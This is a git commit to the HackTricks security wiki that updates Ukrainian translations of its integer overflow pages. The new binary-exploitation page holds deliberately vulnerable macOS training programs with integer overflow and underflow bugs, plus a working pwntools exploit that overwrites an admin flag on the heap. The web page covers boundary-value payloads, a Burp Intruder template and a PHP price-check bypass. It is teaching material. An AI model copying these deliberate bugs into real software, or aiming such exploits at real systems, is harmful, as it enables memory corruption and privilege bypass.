Translated ['src/pentesting-web/xss-cross-site-scripting/integer-overflo

This commit is contained in:
Translator 2025-09-07 14:59:42 +00:00
parent 49ae00026e
commit e87565b138
4 changed files with 410 additions and 156 deletions

View File

@ -785,7 +785,7 @@
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
- [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md)
- [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)

View File

@ -0,0 +1,368 @@
# Integer Overflow
{{#include ../banners/hacktricks-training.md}}
## Основна інформація
В основі **integer overflow** лежить обмеження, накладене **розміром** типів даних у програмуванні та **тлумаченням** цих даних.
Наприклад, **8-bit unsigned integer** може представляти значення від **0 до 255**. Якщо ви намагаєтеся зберегти значення 256 в 8-bit unsigned integer, воно обертається до 0 через обмеження ємності пам'яті. Аналогічно, для **16-bit unsigned integer**, який може містити значення від **0 до 65,535**, додавання 1 до 65,535 поверне значення до 0.
Крім того, **8-bit signed integer** може представляти значення від **-128 до 127**. Це тому, що один біт використовується для позначення знака (позитивного чи негативного), залишаючи 7 біт для представлення величини. Найменше від'ємне число подається як **-128** (binary `10000000`), а найбільше додатне — **127** (binary `01111111`).
Максимальні значення для поширених типів цілих чисел:
| Type | Розмір (біт) | Мінімальне значення | Максимальне значення |
|----------------|--------------|---------------------|----------------------|
| int8_t | 8 | -128 | 127 |
| uint8_t | 8 | 0 | 255 |
| int16_t | 16 | -32,768 | 32,767 |
| uint16_t | 16 | 0 | 65,535 |
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
| uint32_t | 32 | 0 | 4,294,967,295 |
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
A short is equivalent to a `int16_t` and an int is equivalent to a `int32_t` and a long is equivalent to a `int64_t` in 64bits systems.
### Максимальні значення
Для потенційних **web vulnerabilities** дуже важливо знати максимально підтримувані значення:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Приклади
### Pure overflow
Виведений результат буде 0, оскільки ми переповнили char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Signed to Unsigned Conversion
Розгляньте ситуацію, коли зі вхідних даних користувача зчитується знакове ціле значення, а потім використовується в контексті, який трактує його як беззнакове ціле, без належної валідації:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
У цьому прикладі, якщо користувач вводить від’ємне число, воно буде інтерпретоване як велике беззнакове ціле через спосіб трактування бінарних значень, що може призвести до непередбаченої поведінки.
### macOS Overflow Example
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // Target to flip from 0 → 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;
printf("Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");
// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
// 3) Allocate a single arena and lay out [buffer][slack][session]
// This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena; // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size; // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);
// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
Скомпілюйте його за допомогою:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c
```
#### Exploit
```python
# exploit.py
from pwn import *
# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"
EXE = "./int_ovf_heap_priv"
def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
# 2) Wait until its actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)
# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))
if __name__ == "__main__":
main()
```
### macOS Underflow Приклад
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // flip 0 -> 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break; // EOF: partial read is fine
perror("read"); break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");
size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
const size_t HEADER = 16;
// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
Скомпілюйте це за допомогою:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c
```
### Інші приклади
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Для зберігання розміру пароля використовується лише 1B, тому можна його overflow і змусити думати, що його довжина 4, хоча насправді вона 260, щоб bypass перевірку довжини
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Задані кілька чисел — знайдіть за допомогою z3 нове число, яке, помножене на перше, дасть друге:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Для зберігання розміру пароля використовується лише 1B, тому можна його overflow і змусити думати, що його довжина 4, хоча насправді вона 260, щоб bypass перевірку довжини і перезаписати в stack наступну локальну змінну та bypass обидва захисти
## ARM64
Це **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,115 +0,0 @@
# Integer Overflow
{{#include ../banners/hacktricks-training.md}}
## Basic Information
В основі **переповнення цілого числа** лежить обмеження, накладене на **розмір** типів даних у комп'ютерному програмуванні та **інтерпретацію** даних.
Наприклад, **8-бітне беззнакове ціле число** може представляти значення від **0 до 255**. Якщо ви спробуєте зберегти значення 256 в 8-бітному беззнаковому цілому числі, воно обернеться назад до 0 через обмеження його ємності. Аналогічно, для **16-бітного беззнакового цілого числа**, яке може містити значення від **0 до 65,535**, додавання 1 до 65,535 поверне значення назад до 0.
Більше того, **8-бітне знакове ціле число** може представляти значення від **-128 до 127**. Це пов'язано з тим, що один біт використовується для представлення знака (позитивний або негативний), залишаючи 7 біт для представлення величини. Найбільш негативне число представляється як **-128** (бінарне `10000000`), а найбільш позитивне число — **127** (бінарне `01111111`).
### Max values
Для потенційних **веб-уразливостей** дуже цікаво знати максимальні підтримувані значення:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Приклади
### Чистий переповнень
Надрукований результат буде 0, оскільки ми переповнили char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Signed to Unsigned Conversion
Розгляньте ситуацію, коли підписане ціле число зчитується з введення користувача, а потім використовується в контексті, який розглядає його як беззнакове ціле число, без належної валідації:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
У цьому прикладі, якщо користувач введе від'ємне число, воно буде інтерпретовано як велике беззнакове ціле число через спосіб інтерпретації двійкових значень, що може призвести до несподіваної поведінки.
### Інші приклади
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Використовується лише 1B для зберігання розміру пароля, тому можливо переповнити його і змусити думати, що його довжина 4, хоча насправді вона становить 260, щоб обійти захист перевірки довжини
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Дано кілька чисел, знайдіть, використовуючи z3, нове число, яке, помножене на перше, дасть друге:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Використовується лише 1B для зберігання розміру пароля, тому можливо переповнити його і змусити думати, що його довжина 4, хоча насправді вона становить 260, щоб обійти захист перевірки довжини та перезаписати в стеку наступну локальну змінну і обійти обидва захисти
## ARM64
Це **не змінюється в ARM64**, як ви можете побачити в [**цьому блозі**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,46 +1,45 @@
# Цілочисельний переповнень (Веб-додатки)
# Integer Overflow (Web Applications)
{{#include ../../banners/hacktricks-training.md}}
> Ця сторінка зосереджена на тому, як **цілочисельні переповнення/обрізання можуть бути використані в веб-додатках і браузерах**. Для експлуатаційних примітивів всередині рідних бінарних файлів ви можете продовжити читати присвячену сторінку:
> Ця сторінка зосереджена на тому, як **integer overflows/truncations can be abused in web applications and browsers**. Для exploitation primitives всередині native binaries ви можете продовжити читати присвячену сторінку:
>
>
{{#ref}}
> ../../binary-exploitation/integer-overflow-and-underflow.md
>
{{#endref}}
> {{#endref}}
---
## 1. Чому цілочисельна математика все ще важлива в вебі
## 1. Чому операції з цілими числами все ще важливі в вебі
Навіть якщо більшість бізнес-логіки в сучасних стеку написано на *безпечних для пам'яті* мовах, підлягаюча середа виконання (або сторонні бібліотеки) врешті-решт реалізована на C/C++. Коли числа, контрольовані користувачем, використовуються для виділення буферів, обчислення зсувів або виконання перевірок довжини, **переповнення 32-бітного або 64-бітного типу може перетворити, здавалося б, безпечний параметр на читання/запис за межами допустимого, обхід логіки або DoS**.
Навіть якщо більшість business-logic у сучасних стеках написана мовами *memory-safe*, підлягаючий runtime (або сторонні бібліотеки) в кінцевому підсумку реалізований на C/C++. Коли числа, контрольовані користувачем, використовуються для виділення буферів, обчислення зсувів або перевірок довжини, **a 32-bit or 64-bit wrap-around may transform an apparently harmless parameter into an out-of-bounds read/write, a logic bypass or a DoS**.
Типова поверхня атаки:
1. **Числові параметри запиту** класичні поля id, offset або count.
2. **Заголовки довжини/розміру** Content-Length, довжина кадру WebSocket, HTTP/2 continuation_len тощо.
3. **Метадані формату файлу, що обробляються на стороні сервера або клієнта** розміри зображень, розміри частин, таблиці шрифтів.
4. **Перетворення на рівні мови** знакові↔незнакові перетворення в PHP/Go/Rust FFI, обрізання JS Number → int32 всередині V8.
5. **Аутентифікація та бізнес-логіка** значення купонів, ціни або обчислення балансу, які тихо переповнюються.
1. **Numeric request parameters** класичні поля id, offset або count.
2. **Length / size headers** Content-Length, WebSocket frame length, HTTP/2 continuation_len тощо.
3. **File-format metadata parsed server-side or client-side** розміри зображень, розміри chunkів, таблиці шрифтів.
4. **Language-level conversions** signed↔unsigned casts in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
5. **Authentication & business logic** значення купонів, ціни або обчислення балансу, які мовчки переповнюються.
---
## 2. Останні реальні вразливості (2023-2025)
| Рік | Компонент | Корінна причина | Вплив |
| Year | Component | Root cause | Impact |
|------|-----------|-----------|--------|
| 2023 | **libwebp CVE-2023-4863** | Переповнення множення 32-бітного типу при обчисленні розміру декодованого пікселя | Викликало 0-day у Chrome (BLASTPASS на iOS), дозволило *віддалене виконання коду* всередині пісочниці рендерера. |
| 2024 | **V8 CVE-2024-0519** | Обрізання до 32-бітного типу при збільшенні JSArray призводить до запису за межами допустимого на резервному сховищі | Віддалене виконання коду після одного відвідування. |
| 2025 | **Apollo GraphQL Server** (неопублікований патч) | Використання 32-бітного знакового цілого числа для аргументів пагінації first/last; негативні значення переповнюються до величезних позитивних | Обхід логіки та виснаження пам'яті (DoS). |
| 2023 | **libwebp CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Спричинила Chrome 0-day (BLASTPASS on iOS), дозволила *remote code execution* всередині renderer sandbox. |
| 2024 | **V8 CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution після одного відвідування. |
| 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Обхід логіки & виснаження пам'яті (DoS). |
---
## 3. Стратегія тестування
### 3.1 Чек-лист граничних значень
### 3.1 Шпаргалка граничних значень
Надсилайте **екстремальні знакові/незнакові значення** скрізь, де очікується ціле число:
Відправляйте **extreme signed/unsigned values** у будь-якому місці, де очікується ціле число:
```
-1, 0, 1,
127, 128, 255, 256,
@ -50,10 +49,10 @@
0x7fffffff, 0x80000000, 0xffffffff
```
Інші корисні формати:
* Hex (0x100), восьмковий (0377), науковий (1e10), JSON big-int (9999999999999999999).
* Дуже довгі рядки цифр (>1kB) для впливу на власні парсери.
* Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
* Дуже довгі рядки цифр (>1kB), щоб перевантажити кастомні парсери.
### 3.2 Шаблон Burp Intruder
### 3.2 Шаблон для Burp Intruder
```
§INTEGER§
Payload type: Numbers
@ -62,15 +61,15 @@ Pad to length: 10, Enable hex prefix 0x
```
### 3.3 Fuzzing бібліотеки та середовища виконання
* **AFL++/Honggfuzz** з libFuzzer обгорткою навколо парсера (наприклад, WebP, PNG, protobuf).
* **Fuzzilli** граматично обізнаний фуззинг JavaScript-движків для виявлення обрізання цілих чисел у V8/JSC.
* **boofuzz** фуззинг мережевих протоколів (WebSocket, HTTP/2), зосереджений на полях довжини.
* **AFL++/Honggfuzz** з обгорткою libFuzzer навколо парсера (наприклад, WebP, PNG, protobuf).
* **Fuzzilli** grammar-aware fuzzing рушіїв JavaScript для виявлення усічень цілих чисел у V8/JSC.
* **boofuzz** network-protocol fuzzing (WebSocket, HTTP/2), зосереджений на полях довжини.
---
## 4. Шаблони експлуатації
## 4. Exploitation patterns
### 4.1 Обхід логіки в серверному коді (приклад PHP)
### 4.1 Logic bypass у коді на стороні сервера (приклад PHP)
```php
$price = (int)$_POST['price']; // expecting cents (0-10000)
$total = $price * 100; // ← 32-bit overflow possible
@ -79,28 +78,30 @@ die('Too expensive');
}
/* Sending price=21474850 → $total wraps to 2147483648 and check is bypassed */
```
### 4.2 Переповнення купи через декодер зображень (libwebp 0-day)
Декодер WebP без втрат множить ширину зображення × висота × 4 (RGBA) всередині 32-бітного цілого числа. Створений файл з розмірами 16384 × 16384 переповнює множення, виділяє короткий буфер і, в результаті, записує **~1GB** декомпресованих даних за межі купи що призводить до RCE в кожному браузері на базі Chromium до версії 116.0.5845.187.
### 4.2 Heap overflow via image decoder (libwebp 0-day)
Декодер WebP для lossless-зображень множив ширину × висоту × 4 (RGBA) всередині 32-bit int. Сфабрикований файл з розмірами 16384 × 16384 викликає переповнення множення, виділяє занадто малий буфер і потім записує **~1GB** розпакованих даних поза межами heap — що призводить до RCE в усіх Chromium-based браузерах до версії 116.0.5845.187.
### 4.3 Ланцюг XSS/RCE на основі браузера
1. **Переповнення цілого числа** в V8 дає довільний читання/запис.
2. Вийти з пісочниці за допомогою другого багу або викликати нативні API для скидання корисного навантаження.
3. Корисне навантаження потім впроваджує шкідливий скрипт у контекст походження → збережене XSS.
### 4.3 Browser-based XSS/RCE chain
1. **Integer overflow** у V8 надає arbitrary read/write.
2. Утікають із sandbox за допомогою другої уразливості або викликають native APIs для розгортання payload.
3. Потім payload впроваджує шкідливий скрипт в origin context → stored XSS.
---
## 5. Захисні рекомендації
## 5. Defensive guidelines
1. **Використовуйте широкі типи або перевірену математику** наприклад, size_t, Rust checked_add, Go math/bits.Add64.
2. **Раннє перевірка діапазонів**: відхиляйте будь-яке значення поза межами бізнес-домену перед арифметикою.
3. **Увімкніть санітайзери компілятора**: -fsanitize=integer, UBSan, Go race detector.
4. **Прийміть фуззинг у CI/CD** поєднайте зворотний зв'язок з покриттям з граничними корпусами.
5. **Залишайтеся з патчами** помилки переповнення цілого числа в браузерах часто використовуються в зброї протягом кількох тижнів.
1. **Use wide types or checked math** e.g., size_t, Rust checked_add, Go math/bits.Add64.
2. **Validate ranges early**: reject any value outside business domain before arithmetic.
3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector.
4. **Adopt fuzzing in CI/CD** combine coverage feedback with boundary corpora.
5. **Stay patched** browser integer overflow bugs are frequently weaponised within weeks.
---
## Посилання
* [NVD CVE-2023-4863 переповнення буфера купи libwebp](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
* [Google Project Zero "Розуміння V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
## References
* [NVD CVE-2023-4863 libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
* [Google Project Zero "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
{{#include ../../banners/hacktricks-training.md}}